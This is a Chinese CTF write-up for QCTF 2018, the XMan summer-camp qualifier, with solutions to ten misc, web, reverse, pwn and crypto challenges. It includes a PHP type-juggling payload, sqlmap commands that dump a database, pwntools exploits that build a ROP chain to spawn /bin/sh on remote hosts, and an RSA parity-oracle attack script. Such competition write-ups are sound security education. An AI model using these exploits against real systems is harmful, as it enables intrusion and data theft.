CTF 安全

QCTF 2018 暨第三届 XMan 夏令营选拔赛 WriteUp

前言

QCTF 2018 暨第三届 XMan 夏令营选拔赛

比赛入口地址:http://xman2018.xctf.org.cn/

每个方向选了 2 道题来看,解出 10 道题,排名第 5

膜一下排名第 3 的 Pizza 大佬,RE 一血全部拿下,线下面基大佬长得挺帅的~

题目偏简单,很多大佬都没来玩,毕竟是萌新选拔赛

0x00 Misc - X-man-Keyword

一张图片,上 Stegsolve ,发现图片开头 lsb 里有些东西。

lsb 解密脚本,可以得到:

PVSF{vVckHejqBOVX9C1c13GFfkHJrjIQeMwf}

根据题目提示,尝试了一下,发现是 Nihilist 密码

写个脚本解密:

import string

enc='PVSF{vVckHejqBOVX9C1c13GFfkHJrjIQeMwf}'
grid='LOVEKFC'+'ABDGHIJMNPQRSTUWXY'
flag=''

for i in enc:
    if i in string.ascii_lowercase:
        index=grid.lower().index(i)
        flag+=string.ascii_lowercase[index]
        continue
    if i in string.ascii_uppercase:
        index=grid.upper().index(i)
        flag+=string.ascii_uppercase[index]
        continue
    flag+=i
print flag

Flag: QCTF{cCgeLdnrIBCX9G1g13KFfeLNsnMRdOwf}

0x01 Misc - X-man-A face

一张图片,中间有个残缺的二维码

补全二维码

扫描得到字符串

KFBVIRT3KBZGK5DUPFPVG2LTORSXEX2XNBXV6QTVPFZV6TLFL5GG6YTTORSXE7I=

Base32 解码得到 Flag

Flag: QCTF{Pretty_Sister_Who_Buys_Me_Lobster}

0x02 Web - Lottery

扫描目录,有 git 泄露,下载源代码,进行代码审计。

在 api.php 第 89 行处找到 弱类型 漏洞。

POC:

{"action":"buy","numbers":{"0":true,"1":true,"2":true,"3":true,"4":true,"5":true,"6":true,"7":true}}

最终可以得到 Flag

Flag: QCTF{my_PhP_ski1l_is_weeak}

0x03 Web - NewsCenter

网页只有一个搜索框,用来搜索文章。

目测是 sql 注入,直接上 sqlmap ,即可得到 Flag。

POC:

sqlmap -u "http://47.96.118.255:33066/" --forms --dbs
sqlmap -u "http://47.96.118.255:33066/" --forms -D news --tables
sqlmap -u "http://47.96.118.255:33066/" --forms -D news -T secret_table --dump

Flag: QCTF{sq1_inJec7ion_ezzzzzz}

0x04 Reverse - Xman-babymips

直接上 retdec 反编译得到 C 代码,结合 IDA 分析。

关键函数:function_4009a8function_4007f0

Flag 的长度是 32 位,前 5 位直接异或即可得到。

然后后 27 位,依次分别进行两种运算,然后相同的异或操作,即可得到。

POC:

flag=''

prefix='Q|j{g'
for i in range(len(prefix)):
    flag+=chr(ord(prefix[i])^(32-i))

g1=[0x52, 0xFD, 0x16, 0xA4, 0x89, 0xBD, 0x92, 0x80, 0x13, 0x41, 0x54, 0xA0, 0x8D, 0x45, 0x18, 0x81, 0xDE, 0xFC, 0x95, 0xF0, 0x16, 0x79, 0x1A, 0x15, 0x5B, 0x75, 0x1F]
part=''
for i in range(len(g1)):
    match=0
    if i%2:
        for j in range(256):
            v4 = j / 64 | 0x4000000 * j / 0x1000000
            v4 = v4 & 0xff
            if v4 == g1[i]:
                match=1
                part+=chr(j)
                break
    else:
        for j in range(256):
            v4 = 64 * j | j / 4
            v4 = v4 & 0xff
            if v4 == g1[i]:
                match=1
                part+=chr(j)
                break
    if match==0:
        print 'err:%d' % i
        break

for i in range(len(part)):
    flag+=chr(ord(part[i])^(32-i-5))

print flag

Flag: qctf{ReA11y_4_B@89_mlp5_4_XmAn_}

0x05 Reverse - asong

关键函数:sub_400E54

a1 是我们输入的字符串(sub_400C02 做了去除 Flag 格式的处理)。

a2 是根据 that_girl 文件生成的字符数组。

sub_400936a1 按位判断并移位,v5 数组保存的是 a1a2 上的字符映射。

sub_400D33 是一个 S盒置换 的功能。

sub_400DB4 是一个按位异或运算,理论上不可逆。

sub_400CC0 把最终加密后的 Flag 写入到 out 文件(好像 out 文件不存在时才能写入)。

我们需要根据原 out 文件推导 Flag

POC:

enc=open('out','rb').read()
enc=list(enc[::-1])
for i in range(len(enc)):
    enc[i]=ord(enc[i])

table=[0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x68, 0x1E, 0x0F, 0x1D, 0xA9, 0x13, 0x26, 0x43, 0x3C, 0x00, 0x14, 0x27, 0x1C, 0x76, 0xA5, 0x1A, 0x00, 0x3D, 0x33, 0x85, 0x2D, 0x07, 0x22, 0x00, 0x3E, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x28, 0x47, 0x00, 0x00, 0x42, 0xF5, 0x00, 0x00, 0x00, 0x61, 0x00]
table_s=[]
for i in table:
    for j in table:
        if i!=0 and j!=0:
            w=((8*i)&0xff)|(j>>5)
            table_s.append(i)
            table_s.append(j)
            table_s.append(w)

def check(pa,pb,count,pc):
    if count>len(enc)-1:
        if pc==pa: return []
        return False
    for j in range(len(table_s)/3):
        a=table_s[3*j]
        b=table_s[3*j+1]
        c=table_s[3*j+2]
        if enc[count]==c and pa==b:
            ret=check(a,b,count+1,pc)
            if ret != False:
                ret.append(a)
                return ret
    return False

dec=[]
for j in range(len(table_s)/3):
    a=table_s[3*j]
    b=table_s[3*j+1]
    c=table_s[3*j+2]
    if enc[0]==c:
        ret=check(a,b,1,b)
        if ret != False:
            ret.append(a)
            dec=ret

s_box=[0x16, 0x00, 0x06, 0x02, 0x1E, 0x18, 0x09, 0x01, 0x15, 0x07, 0x12, 0x0A, 0x08, 0x0C, 0x11, 0x17, 0x0D, 0x04, 0x03, 0x0E, 0x13, 0x0B, 0x14, 0x10, 0x0F, 0x05, 0x19, 0x24, 0x1B, 0x1C, 0x1D, 0x25, 0x1F, 0x20, 0x21, 0x1A, 0x22, 0x23]
dec_s=[0]*len(dec)
for i in range(len(s_box)):
    dec_s[s_box[i]]=dec[i]

flag=''
for i in dec_s:
    index=table.index(i)
    if index>=10 and index<36:
        flag+=chr(index+87)
        continue
    if index==46:
        flag+=chr(index+49)
print 'QCTF{%s}' % flag

Flag: QCTF{that_girl_saying_no_for_your_vindicate}

0x06 Pwn - Xman-dice_game

分析程序,可以栈溢出修改栈上的 srand 随机数种子,从而控制后面 rand 出来的伪随机数字。

写了两个程序,一个用 C 语言实现生成随机数,一个 POC。

生成随机数:

#include <stdlib.h>

int main(){
  srand(0x61616161);
  for(int i=0;i<50;i++){
    printf("%d\n",rand());
  }
  return 0;
}

POC:

from pwn import *

gen=process('./gen_rand')
io=remote('47.96.239.28', 9999)
#io=process('./dice_game')

payload='a'*55+'a'+'a'+'a'*12
io.recvuntil('know your name: ')
io.send(payload)

for i in range(50):
    io.recvuntil('Give me the point(1~6): ')
    point=int(gen.recvline())%6+1
    print 'Game %d: %d' % (i+1, point)
    io.sendline(str(point))
    print io.recvline()
io.recvuntil('Congrats')
io.recvline()
print io.recvline()

Flag: QCTF{hav3_4un_w1th_th1s_gam3}

0x07 Pwn - Xman-stack2

分析程序,change number 功能没有限制只能修改数组内的数字,导致可以修改栈上一定区域内任意位置的数据。

hackhere 函数可以直接 getshell ,可是发现远程环境里没有 /bin/bash

那么直接找个可写位置,用 scanf/bin/sh ,然后调用 system

只需要构造一下 ROP 即可。

POC:

from pwn import *

context.log_level = "DEBUG"

io=remote('47.96.239.28', 2333)
#io=process('./stack2')

def addr(num,data):
    io.sendlineafter('5. exit','3')
    io.sendlineafter('which number to change:',str(num))
    io.sendlineafter('new number:',str(data))

def init():
    io.sendlineafter('How many numbers you have:','1')
    io.sendlineafter('Give me your numbers','1')

scanf_func=0x08048480
pop2_addr=0x0804895A
int_addr=0x08048A97
bss_addr=0x0804A048
system_func=0x08048450
str_sh='/bin/sh'

init()
for j in range(len(str_sh)):
    for i in range(4):
        addr(0x70+0x14+0x10*j+i,ord(p64(scanf_func)[i]))
    for i in range(4):
        addr(0x70+0x18+0x10*j+i,ord(p64(pop2_addr)[i]))
    for i in range(4):
        addr(0x70+0x1c+0x10*j+i,ord(p64(int_addr)[i]))
    for i in range(4):
        addr(0x70+0x20+0x10*j+i,ord(p64(bss_addr+j)[i]))
for i in range(4):
    addr(0x70+0x14+0x10*len(str_sh)+i,ord(p64(system_func)[i]))
for i in range(4):
    addr(0x70+0x18+0x10*len(str_sh)+i,ord(p64(system_func)[i]))
for i in range(4):
    addr(0x70+0x20+0x10*len(str_sh)+i,ord(p64(bss_addr)[i]))
io.sendlineafter('5. exit','5')
for j in range(len(str_sh)):
    io.sendline(str(ord(str_sh[j])))
io.interactive()

Flag: QCTF{H3y_X_w4N}

0x08 Crypto - babyRSA

参考 RSA LSB Oracle Attack

例题 2016 Plaid CTF rabit

POC:

from pwn import *

context.log_level = 'WARN'

def num_to_bytes(n):
    b = hex(n)[2:].strip('L')
    b = '0' + b if len(b)%2 == 1 else b
    return b.decode('hex')

e=0x10001
n=0x0b765daa79117afe1a77da7ff8122872bbcbddb322bb078fe0786dc40c9033fadd639adc48c3f2627fb7cb59bb0658707fe516967464439bdec2d6479fa3745f57c0a5ca255812f0884978b2a8aaeb750e0228cbe28a1e5a63bf0309b32a577eecea66f7610a9a4e720649129e9dc2115db9d4f34dc17f8b0806213c035e22f2c5054ae584b440def00afbccd458d020cae5fd1138be6507bc0b1a10da7e75def484c5fc1fcb13d11be691670cf38b487de9c4bde6c2c689be5adab08b486599b619a0790c0b2d70c9c461346966bcbae53c5007d0146fc520fa6e3106fbfc89905220778870a7119831c17f98628563ca020652d18d72203529a784ca73716db
c=0x4f377296a19b3a25078d614e1c92ff632d3e3ded772c4445b75e468a9405de05d15c77532964120ae11f8655b68a630607df0568a7439bc694486ae50b5c0c8507e5eecdea4654eeff3e75fb8396e505a36b0af40bd5011990663a7655b91c9e6ed2d770525e4698dec9455db17db38fa4b99b53438b9e09000187949327980ca903d0eef114afc42b771657ea5458a4cb399212e943d139b7ceb6d5721f546b75cd53d65e025f4df7eb8637152ecbb6725962c7f66b714556d754f41555c691a34a798515f1e2a69c129047cb29a9eef466c206a7f4dbc2cea1a46a39ad3349a7db56c1c997dc181b1afcb76fa1bbbf118a4ab5c515e274ab2250dba1872be0

upper=n
lower=0
k=1
while True:
    io=remote('47.96.239.28',23333)
    io.recvuntil('You can input ciphertext(hexdecimal) now\n')
    power=pow(2,k,n)
    new_c=(pow(power,e,n)*c)%n
    new_c=hex(new_c)[2:].strip('L')
    io.sendline(new_c)
    data=io.recvline()[:-1]
    io.close()
    if data=="even":
        print 'Round %d: even' % k
        upper=(upper+lower)/2
    if data=="odd":
        print 'Round %d: odd' % k
        lower=(upper+lower)/2
    if data=="error": break
    if (upper-lower)<2: break
    k+=1

flag=num_to_bytes(upper)[:-1]+'}'
print flag

Flag: QCTF{RSA_parity_oracle_is_fun}

0x09 Crypto - Xman-RSA

上一年的题目,参考 XMan Day11 Crypto1 WP

POC:

import re

adict = {'a':'d', 'd':'e', 'g':'f', 'q':'r', 'h':'o', 'b':'m', 'p':'i', 'k':'p', 'w':'t', 'u':'b', 'r':'a', 't':'s', 'z':'u', 'e':'n', 'x':'c', 'i':'x', 'l':'y', 'j':'g', 'f':'w', 'm':'h', 'y':'l'}

def multiple_replace(text, adict):
    rx = re.compile('|'.join(map(re.escape, adict)))
    def one_xlat(match):
        return adict[match.group(0)]
    return rx.sub(one_xlat, text)

r=open('encryption.encrypted','r').read()
r=multiple_replace(r, adict)
open('decrypted.py','w').write(r)

import gmpy2
import base64

def bytes_to_num(b):
    return int(b.encode('hex'), 16)

def num_to_bytes(n):
    b = hex(n)[2:-1]
    b = '0' + b if len(b)%2 == 1 else b
    return b.decode('hex')

def separate(n):
    p = n % 4
    t = (p*p) % 4
    return t == 1

lines=open('ciphertext','r').readlines()
mc1=int(lines[0],16)
mc2=int(lines[1],16)

lines=open('n1.encrypted','r').readlines()
n1c1=int(lines[0],16)
n1c2=int(lines[1],16)

lines=open('n2&n3','r').readlines()
n2=bytes_to_num(base64.b64decode(lines[0]))
n3=bytes_to_num(base64.b64decode(lines[1]))

e1=0x1001
e2=0x101
gcd,s,t=gmpy2.gcdext(e1,e2)
if s<0:
    s=abs(s)
    n1c1=gmpy2.invert(n1c1,n3)
if t<0:
    t=abs(t)
    n1c2=gmpy2.invert(n1c2,n3)
n1=gmpy2.powmod(n1c1,s,n3)*gmpy2.powmod(n1c2,t,n3)%n3

p1=gmpy2.gcd(n1,n2)
p2=n1/p1
p3=n2/p1

e=0x1001
d1=gmpy2.invert(e,(p1-1)*(p2-1))
d2=gmpy2.invert(e,(p1-1)*(p3-1))

m1=pow(mc1,d1,n1)
m2=pow(mc2,d2,n2)
msg1=hex(m1)[2:].decode('hex')
msg2=hex(m2)[2:].decode('hex')

flag=''
a1=0
a2=0
for i in range(len(msg1+msg2)):
    if separate(i):
        flag+=msg2[a2]
        a2+=1
    else:
        flag+=msg1[a1]
        a1+=1
print flag

Flag: XMAN{CRYPT0_I5_50_Interestingvim rsa.py}


标签: CTF 安全

Comments